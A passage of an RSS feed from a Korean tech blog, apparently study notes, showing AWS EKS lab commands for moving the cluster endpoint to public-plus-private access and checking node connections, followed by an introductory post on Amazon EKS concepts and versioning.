&lt;p data-ke-size=&quot;size16&quot;&gt;현재 설정되어 있는 kubelet과 kube-proxy는 퍼블릭 엑세스 포인트로 설정되어 있어 인터넷 게이트웨이로 나가 퍼블릭 IP로 다시 접근하여 통신하고 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1709979714194&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# kubelet, kube-proxy 통신 Peer Address는 어딘인가요?
for i in $N1 $N2; do echo &quot;&amp;gt;&amp;gt; node $i &amp;lt;&amp;lt;&quot;; ssh ec2-user@$i sudo ss -tnp; echo; done

# 참고
APIDNS=$(aws eks describe-cluster --name $CLUSTER_NAME | jq -r .cluster.endpoint | cut -d '/' -f 3)
dig +short $APIDNS&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Screenshot 2024-03-09 at 7.20.55 PM.png&quot; data-origin-width=&quot;2072&quot; data-origin-height=&quot;780&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zvmub/btsFGJi3Vnn/lnoPodoT2FJdOFlcAIV8wk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zvmub/btsFGJi3Vnn/lnoPodoT2FJdOFlcAIV8wk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zvmub/btsFGJi3Vnn/lnoPodoT2FJdOFlcAIV8wk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fzvmub%2FbtsFGJi3Vnn%2FlnoPodoT2FJdOFlcAIV8wk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2072&quot; height=&quot;780&quot; data-filename=&quot;Screenshot 2024-03-09 at 7.20.55 PM.png&quot; data-origin-width=&quot;2072&quot; data-origin-height=&quot;780&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Screenshot 2024-03-09 at 7.22.46 PM.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;120&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/x3WDY/btsFFZfRMAi/S4ja6RnQldDCiZZACeU1I0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/x3WDY/btsFFZfRMAi/S4ja6RnQldDCiZZACeU1I0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/x3WDY/btsFFZfRMAi/S4ja6RnQldDCiZZACeU1I0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fx3WDY%2FbtsFFZfRMAi%2FS4ja6RnQldDCiZZACeU1I0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1024&quot; height=&quot;120&quot; data-filename=&quot;Screenshot 2024-03-09 at 7.22.46 PM.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;120&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;새로운 터미널을 실행해 파드 1개를 실행하면 Local Address와 Peer Address가 다른 것을 확인할 수 있습니다. AWS 콘솔의 네트워크 인터페이스 ENI에서 Peer Address를 검색해보면 해당 IP의 소유자와 요청자가 다릅니다. 여기서 요청자가 EKS owned ENI인 것입니다. 결론적으로 관리형 노드 그룹의 워커 노드는 내 소유지만, 연결된 ENI(NIC)의 인스턴스(관리형 노드)는 AWS 소유입니다.&lt;/p&gt;
&lt;pre id=&quot;code_1709980003160&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# [터미널] aws-node 데몬셋 파드 1곳에 bash 실행해두기 
kubectl exec daemonsets/aws-node -it -n kube-system -c aws-eks-nodeagent -- bash

# exec 실행으로 추가된 연결 정보의 Peer Address는 어딘인가요? &amp;gt;&amp;gt; AWS 네트워크 인터페이스 ENI에서 해당 IP 정보 확인
for i in $N1 $N2; do echo &quot;&amp;gt;&amp;gt; node $i &amp;lt;&amp;lt;&quot;; ssh ec2-user@$i sudo ss -tnp; echo; done&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Screenshot 2024-03-09 at 7.25.59 PM.png&quot; data-origin-width=&quot;2214&quot; data-origin-height=&quot;882&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/AgPkO/btsFGSUC0Si/lOUdd7TaGI90CmLpXoB2XK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/AgPkO/btsFGSUC0Si/lOUdd7TaGI90CmLpXoB2XK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/AgPkO/btsFGSUC0Si/lOUdd7TaGI90CmLpXoB2XK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAgPkO%2FbtsFGSUC0Si%2FlOUdd7TaGI90CmLpXoB2XK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2214&quot; height=&quot;882&quot; data-filename=&quot;Screenshot 2024-03-09 at 7.25.59 PM.png&quot; data-origin-width=&quot;2214&quot; data-origin-height=&quot;882&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Screenshot 2024-03-09 at 7.28.43 PM.png&quot; data-origin-width=&quot;2286&quot; data-origin-height=&quot;1100&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ctcubw/btsFFjTtIPK/hVncffx2I2FLX69yqh8tUK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ctcubw/btsFFjTtIPK/hVncffx2I2FLX69yqh8tUK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ctcubw/btsFFjTtIPK/hVncffx2I2FLX69yqh8tUK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fctcubw%2FbtsFFjTtIPK%2FhVncffx2I2FLX69yqh8tUK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2286&quot; height=&quot;1100&quot; data-filename=&quot;Screenshot 2024-03-09 at 7.28.43 PM.png&quot; data-origin-width=&quot;2286&quot; data-origin-height=&quot;1100&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #000000;&quot; data-token-index=&quot;0&quot;&gt;EKS Cluster Endpoint 를 Public(&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot; data-token-index=&quot;1&quot;&gt;IP제한&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot; data-token-index=&quot;2&quot;&gt;)+&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot; data-token-index=&quot;3&quot;&gt;Private&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot; data-token-index=&quot;4&quot;&gt; 로 변경 및 확인&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot; data-token-index=&quot;4&quot;&gt;워커노드에서 kubelet과 kube-proxy가 퍼블릭 엑세스 포인트를 사용했었던 부분이 프라이빗 엑세스 포인트(EKS owned ENI)를 사용하는 것으로 변경되게 됩니다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled4444.png&quot; data-origin-width=&quot;952&quot; data-origin-height=&quot;464&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cCGTSA/btsFCAIp1Kd/lVUriqBKgdQUID2nf43gb1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cCGTSA/btsFCAIp1Kd/lVUriqBKgdQUID2nf43gb1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cCGTSA/btsFCAIp1Kd/lVUriqBKgdQUID2nf43gb1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcCGTSA%2FbtsFCAIp1Kd%2FlVUriqBKgdQUID2nf43gb1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;952&quot; height=&quot;464&quot; data-filename=&quot;Untitled4444.png&quot; data-origin-width=&quot;952&quot; data-origin-height=&quot;464&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모니터링 터미널 화면에서 출력되는 IP가 Private으로 변경된 것을 확인할 수 있으며 AWS 콘솔에서도 변경된 화면을 확인할 수 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1709980679826&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# [모니터링1] 설정 후 변경 확인
APIDNS=$(aws eks describe-cluster --name $CLUSTER_NAME | jq -r .cluster.endpoint | cut -d '/' -f 3)
dig +short $APIDNS
while true; do dig +short $APIDNS ; echo &quot;------------------------------&quot; ; date; sleep 1; done

# [모니터링2] 노드에서 ControlPlane과 통신 연결 확인
N1=$(kubectl get node --label-columns=topology.kubernetes.io/zone --selector=topology.kubernetes.io/zone=ap-northeast-2a -o jsonpath={.items[0].status.addresses[0].address})
N2=$(kubectl get node --label-columns=topology.kubernetes.io/zone --selector=topology.kubernetes.io/zone=ap-northeast-2c -o jsonpath={.items[0].status.addresses[0].address})
while true; do ssh ec2-user@$N1 sudo ss -tnp | egrep 'kubelet|kube-proxy' ; echo ; ssh ec2-user@$N2 sudo ss -tnp | egrep 'kubelet|kube-proxy' ; echo &quot;------------------------------&quot; ; date; sleep 1; done

# Public(IP제한)+Private 로 변경 : 설정 후 8분 정도 후 반영
aws eks update-cluster-config --region $AWS_DEFAULT_REGION --name $CLUSTER_NAME --resources-vpc-config endpointPublicAccess=true,publicAccessCidrs=&quot;$(curl -s ipinfo.io/ip)/32&quot;,endpointPrivateAccess=true&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;edited_Screenshot 2024-03-09 at 7.42.27 PM.png&quot; data-origin-width=&quot;713&quot; data-origin-height=&quot;362&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d7QKn9/btsFF33pG3v/83x4eQsCix4RTcEpKPxK7k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d7QKn9/btsFF33pG3v/83x4eQsCix4RTcEpKPxK7k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d7QKn9/btsFF33pG3v/83x4eQsCix4RTcEpKPxK7k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd7QKn9%2FbtsFF33pG3v%2F83x4eQsCix4RTcEpKPxK7k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;713&quot; height=&quot;362&quot; data-filename=&quot;edited_Screenshot 2024-03-09 at 7.42.27 PM.png&quot; data-origin-width=&quot;713&quot; data-origin-height=&quot;362&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Screenshot 2024-03-09 at 7.42.50 PM.png&quot; data-origin-width=&quot;1650&quot; data-origin-height=&quot;332&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bsvH5I/btsFEOzpNs0/7o5uxVXbvWA127Wu1qXzYK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bsvH5I/btsFEOzpNs0/7o5uxVXbvWA127Wu1qXzYK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bsvH5I/btsFEOzpNs0/7o5uxVXbvWA127Wu1qXzYK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbsvH5I%2FbtsFEOzpNs0%2F7o5uxVXbvWA127Wu1qXzYK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1650&quot; height=&quot;332&quot; data-filename=&quot;Screenshot 2024-03-09 at 7.42.50 PM.png&quot; data-origin-width=&quot;1650&quot; data-origin-height=&quot;332&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Screenshot 2024-03-09 at 7.47.31 PM.png&quot; data-origin-width=&quot;2212&quot; data-origin-height=&quot;1304&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qYqPR/btsFENtIl2v/3QTMcV33tbwrdOv2DVkhoK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qYqPR/btsFENtIl2v/3QTMcV33tbwrdOv2DVkhoK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qYqPR/btsFENtIl2v/3QTMcV33tbwrdOv2DVkhoK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqYqPR%2FbtsFENtIl2v%2F3QTMcV33tbwrdOv2DVkhoK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2212&quot; height=&quot;1304&quot; data-filename=&quot;Screenshot 2024-03-09 at 7.47.31 PM.png&quot; data-origin-width=&quot;2212&quot; data-origin-height=&quot;1304&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1709981533399&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# kubectl 사용 확인
kubectl get node -v=6
kubectl cluster-info
ss -tnp | grep kubectl  # 신규 터미널에서 확인 해보자 &amp;gt;&amp;gt; EKS 동작 VPC 내부에서는 Cluster Endpoint 도메인 질의 시 Private IP 정보를 리턴해준다

# 아래 dig 조회가 잘 안될 경우 myeks 호스트EC2를 재부팅 후 다시 해보자
dig +short $APIDNS

# EKS ControlPlane 보안그룹 ID 확인
aws ec2 describe-security-groups --filters Name=group-name,Values=*ControlPlaneSecurityGroup* --query &quot;SecurityGroups[*].[GroupId]&quot; --output text
CPSGID=$(aws ec2 describe-security-groups --filters Name=group-name,Values=*ControlPlaneSecurityGroup* --query &quot;SecurityGroups[*].[GroupId]&quot; --output text)
echo $CPSGID

# 노드 보안그룹에 eksctl-host 에서 노드(파드)에 접속 가능하게 룰(Rule) 추가 설정
aws ec2 authorize-security-group-ingress --group-id $CPSGID --protocol '-1' --cidr 192.168.1.100/32

# kubectl 사용 확인
kubectl get node -v=6
kubectl cluster-info&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;노드에서의 확인을 위해 kube-proxy를 rollout하고 kubelet은 재시작을 통해 적용하면 프라이빗 IP로 변경된 것을 확인할 수 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1709981554379&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 모니터링 : tcp peer 정보 변화 확인
while true; do ssh ec2-user@$N1 sudo ss -tnp | egrep 'kubelet|kube-proxy' ; echo ; ssh ec2-user@$N2 sudo ss -tnp | egrep 'kubelet|kube-proxy' ; echo &quot;------------------------------&quot; ; date; sleep 1; done

# kube-proxy rollout
kubectl rollout restart ds/kube-proxy -n kube-system

# kubelet 은 노드에서 systemctl restart kubelet으로 적용해보자
for i in $N1 $N2; do echo &quot;&amp;gt;&amp;gt; node $i &amp;lt;&amp;lt;&quot;; ssh ec2-user@$i sudo systemctl restart kubelet; echo; done&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Screenshot 2024-03-09 at 7.51.43 PM.png&quot; data-origin-width=&quot;1586&quot; data-origin-height=&quot;390&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kXw41/btsFFKXktdf/9TbNbeKhICplY8xHXhLTh0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kXw41/btsFFKXktdf/9TbNbeKhICplY8xHXhLTh0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kXw41/btsFFKXktdf/9TbNbeKhICplY8xHXhLTh0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkXw41%2FbtsFFKXktdf%2F9TbNbeKhICplY8xHXhLTh0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1586&quot; height=&quot;390&quot; data-filename=&quot;Screenshot 2024-03-09 at 7.51.43 PM.png&quot; data-origin-width=&quot;1586&quot; data-origin-height=&quot;390&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <author>imxsuu</author>
      <guid isPermaLink="true">https://imxsuu.tistory.com/2</guid>
      <comments>https://imxsuu.tistory.com/2#entry2comment</comments>
      <pubDate>Sat, 9 Mar 2024 18:34:21 +0900</pubDate>
    </item>
    <item>
      <title>[AEWS] Amazon EKS 개념 및 배포</title>
      <link>https://imxsuu.tistory.com/1</link>
      <description>&lt;h3 id=&quot;block-f1603f9812ea4b68b6e087e73a1a84d4&quot; style=&quot;background-color: #ffffff; color: #37352f; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span&gt;&lt;span&gt;Amazon EKS&lt;/span&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;div id=&quot;block-86a1033b314e42b097282f407a3fc02d&quot; style=&quot;background-color: #ffffff; color: #37352f; text-align: start;&quot;&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;972&quot; data-origin-height=&quot;768&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bnUcaH/btsFCzQhaGR/kSy04pOrqkDIKRfE7GjlEk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bnUcaH/btsFCzQhaGR/kSy04pOrqkDIKRfE7GjlEk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bnUcaH/btsFCzQhaGR/kSy04pOrqkDIKRfE7GjlEk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbnUcaH%2FbtsFCzQhaGR%2FkSy04pOrqkDIKRfE7GjlEk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;972&quot; height=&quot;768&quot; data-origin-width=&quot;972&quot; data-origin-height=&quot;768&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;figure id=&quot;og_1709975974327&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Amazon EKS web application workshop&quot; data-og-description=&quot;Building simple web application using Amazon EKS. This workshop covers from creating eks cluster to application's life cycle.&quot; data-og-host=&quot;catalog.us-east-1.prod.workshops.aws&quot; data-og-source-url=&quot;https://catalog.us-east-1.prod.workshops.aws/workshops/9c0aa9ab-90a9-44a6-abe1-8dff360ae428/ko-KR/10-intro/200-eks&quot; data-og-url=&quot;https://catalog.us-east-1.prod.workshops.aws/workshops/9c0aa9ab-90a9-44a6-abe1-8dff360ae428/ko-KR/10-intro/200-eks&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/O5uxP/hyVusU5XcL/ejifBck4CoQxJnotdeLMH0/img.png?width=501&amp;amp;height=379&amp;amp;face=0_0_501_379&quot;&gt;&lt;a href=&quot;https://catalog.us-east-1.prod.workshops.aws/workshops/9c0aa9ab-90a9-44a6-abe1-8dff360ae428/ko-KR/10-intro/200-eks&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://catalog.us-east-1.prod.workshops.aws/workshops/9c0aa9ab-90a9-44a6-abe1-8dff360ae428/ko-KR/10-intro/200-eks&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/O5uxP/hyVusU5XcL/ejifBck4CoQxJnotdeLMH0/img.png?width=501&amp;amp;height=379&amp;amp;face=0_0_501_379');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Amazon EKS web application workshop&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Building simple web application using Amazon EKS. This workshop covers from creating eks cluster to application's life cycle.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;catalog.us-east-1.prod.workshops.aws&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;div id=&quot;block-12aa14b0cd6e4bef81f3cfec3e419b3e&quot; style=&quot;background-color: #ffffff; color: #37352f; text-align: start;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;span&gt;Amazon EKS는 &lt;/span&gt;&lt;span&gt;&lt;b&gt;쿠버네티스의 컨트롤 플레인 영역을 담당&lt;/b&gt;&lt;/span&gt;&lt;span&gt;하는 아마존의 클라우드 컴퓨팅 서비스입니다. 오픈 소스 쿠버네티스 소프트웨어의 최신 버전을 실행하여 온프레미스에서 사용하는 쿠버네티스의 플러그인과 툴들을 모두 사용할 수 있으며 쿠버네티스 애플리케이션을 Amazon EKS로 쉽게 마이그레이션할 수 있습니다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div id=&quot;block-e6954bd17150469ebbdeedf02c139086&quot; style=&quot;background-color: #ffffff; color: #37352f; text-align: start;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;div id=&quot;block-cd2f74b68c1140a2ae36fc653fde0b8e&quot; style=&quot;background-color: #ffffff; color: #37352f; text-align: start;&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1366&quot; data-origin-height=&quot;624&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dmscnJ/btsFFPxLdjh/KiN7A5Qtetetx19rkHmkuK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dmscnJ/btsFFPxLdjh/KiN7A5Qtetetx19rkHmkuK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dmscnJ/btsFFPxLdjh/KiN7A5Qtetetx19rkHmkuK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdmscnJ%2FbtsFFPxLdjh%2FKiN7A5Qtetetx19rkHmkuK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;384&quot; height=&quot;175.6&quot; data-origin-width=&quot;1366&quot; data-origin-height=&quot;624&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;div id=&quot;block-14e559b650014eab8c39367077ee9838&quot; style=&quot;background-color: #ffffff; color: #37352f; text-align: start;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;span&gt;보통 5~6개의 &lt;/span&gt;&lt;span&gt;&lt;b&gt;마이너&lt;/b&gt;&lt;/span&gt;&lt;span&gt; 버전을 지원(현재 &lt;/span&gt;&lt;span&gt;&lt;b&gt;1.25&lt;/b&gt;&lt;/span&gt;&lt;span&gt;~&lt;/span&gt;&lt;span&gt;&lt;b&gt;1.29&lt;/b&gt;&lt;/span&gt;&lt;span&gt;)하며 평균 3개월마다 새 버전을 제공합니다. 처음 14개월은 무료로 지원해주지만 추가 최대 12개월 연장을 지원하지만 비용이 발생합니다. 따라서 운영 측면에서는 보통 1년에 한번씩 버전 업그레이드를 해야한다는 번거로움이 존재합니다. &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div id=&quot;block-34417f71b7964fdb9e9c410e2887302b&quot; style=&quot;background-color: #ffffff; color: #37352f; text-align: start;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;span&gt;버전을 표기하는 방법은 다음과 같습니다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #37352f; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li id=&quot;block-b684914cd98c47c5bad0275e6ce87367&quot;&gt;&lt;span&gt;&lt;span&gt;v1.&lt;/span&gt;&lt;span&gt;&lt;b&gt;25&lt;/b&gt;&lt;/span&gt;&lt;span&gt;.Y &amp;rarr; Major.&lt;/span&gt;&lt;span&gt;&lt;b&gt;Minor&lt;/b&gt;&lt;/span&gt;&lt;span&gt;.Patch &amp;rArr; Major(Breaking Changes) . &lt;/span&gt;&lt;span&gt;&lt;b&gt;Minor(New Features) .&lt;/b&gt;&lt;/span&gt;&lt;span&gt; Patch(Bug fixes Security)&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div id=&quot;block-4a52eba246af407eac6259db9da600d0&quot; style=&quot;background-color: #ffffff; color: #37352f; text-align: start;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
